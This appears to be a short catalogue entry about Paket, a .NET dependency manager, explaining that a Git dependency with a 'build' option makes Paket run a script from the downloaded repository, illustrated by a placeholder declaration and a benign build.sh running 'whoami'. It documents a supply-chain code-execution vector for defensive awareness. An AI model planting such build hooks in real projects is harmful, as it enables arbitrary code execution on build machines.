LOTP
Paket
References
Paket is a dependency manager for .NET projects. Git dependencies support explicit build commands.
paket.dependencies
An attacker controlling the dependency declaration and selected Git repository can supply a build script:
git https://example.invalid/owner/repository.git main build:"build.sh"
Sample build.sh in that repository:
#!/bin/sh
whoami
paket install
Paket executes the configured command in the downloaded source tree.